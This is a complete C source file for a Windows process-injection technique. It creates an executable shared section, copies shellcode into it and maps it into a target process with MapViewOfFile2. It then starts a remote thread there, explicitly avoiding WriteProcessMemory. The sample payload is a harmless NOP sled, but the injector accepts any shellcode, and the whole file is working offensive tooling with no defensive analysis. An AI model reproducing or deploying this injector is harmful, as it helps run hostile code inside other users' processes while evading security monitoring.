/*
 * inject_section.c
 *
 * Process injection via MapViewOfFile2: maps a section object directly into
 * a foreign process without WriteProcessMemory.
 *
 * Requires Windows 10 1803 (build 17134) or later for MapViewOfFile2.
 *
 * Compile (MSVC, x64):
 *   cl /W4 /O2 inject_section.c /link OneCore.lib
 */

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "OneCore.lib")

/*
 * InjectViaSection: map shellcode into a target process without WriteProcessMemory.
 *
 * pPayload     - shellcode bytes
 * payloadSize  - byte count
 * hProcess     - target process (PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD)
 * ppRemote     - receives the remote view base address
 */
static BOOL InjectViaSection(
    PBYTE   pPayload,
    SIZE_T  payloadSize,
    HANDLE  hProcess,
    PVOID  *ppRemote)
{
    HANDLE hSection       = NULL;
    PVOID  pLocalView     = NULL;
    PVOID  pRemoteView    = NULL;
    BOOL   success        = FALSE;

    /* Round payload size up to page boundary */
    SIZE_T mappingSize = (payloadSize + 0xFFF) & ~(SIZE_T)0xFFF;

    /*
     * Step 1: anonymous section with RWX.
     * PAGE_EXECUTE_READWRITE permits both a writable local view and an
     * executable remote view.
     */
    hSection = CreateFileMapping(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_EXECUTE_READWRITE,
        (DWORD)(mappingSize >> 32),
        (DWORD)(mappingSize & 0xFFFFFFFF),
        NULL);
    if (!hSection) {
        fprintf(stderr, "[!] CreateFileMapping: %lu\n", GetLastError());
        goto cleanup;
    }

    /* Step 2: map a writable local view */
    pLocalView = MapViewOfFile(
        hSection,
        FILE_MAP_WRITE | FILE_MAP_EXECUTE,
        0, 0,
        mappingSize);
    if (!pLocalView) {
        fprintf(stderr, "[!] MapViewOfFile: %lu\n", GetLastError());
        goto cleanup;
    }

    /* Step 3: write shellcode locally -- no cross-process write */
    memcpy(pLocalView, pPayload, payloadSize);
    printf("[*] local view  @ %p (RWX, this process)\n", pLocalView);

    /* Step 4: map the same section into the target process as RX */
    pRemoteView = MapViewOfFile2(
        hSection,
        hProcess,
        0,
        NULL,
        0,
        0,
        PAGE_EXECUTE_READ);
    if (!pRemoteView) {
        fprintf(stderr, "[!] MapViewOfFile2: %lu\n", GetLastError());
        goto cleanup;
    }

    printf("[*] remote view @ %p (RX, target process)\n", pRemoteView);
    *ppRemote = pRemoteView;
    success   = TRUE;

cleanup:
    /* Step 6: release local view and section handle.
     * The remote view keeps the section alive. */
    if (pLocalView)
        UnmapViewOfFile(pLocalView);
    if (hSection)
        CloseHandle(hSection);

    return success;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "usage: %s <pid>\n", argv[0]);
        return 1;
    }

    DWORD pid = (DWORD)strtoul(argv[1], NULL, 10);

    /* x64 NOP sled + ret: harmless test payload */
    BYTE payload[] = {
        0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90,
        0xC3
    };

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hProcess) {
        fprintf(stderr, "[!] OpenProcess(%lu): %lu\n", pid, GetLastError());
        return 1;
    }

    PVOID pRemote = NULL;
    if (!InjectViaSection(payload, sizeof(payload), hProcess, &pRemote)) {
        CloseHandle(hProcess);
        return 1;
    }

    /* Step 5: start a remote thread at the mapped view */
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)pRemote,
                                        NULL, 0, NULL);
    if (!hThread) {
        fprintf(stderr, "[!] CreateRemoteThread: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[*] thread %lu started at %p\n", GetThreadId(hThread), pRemote);
    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);

    CloseHandle(hProcess);
    return 0;
}
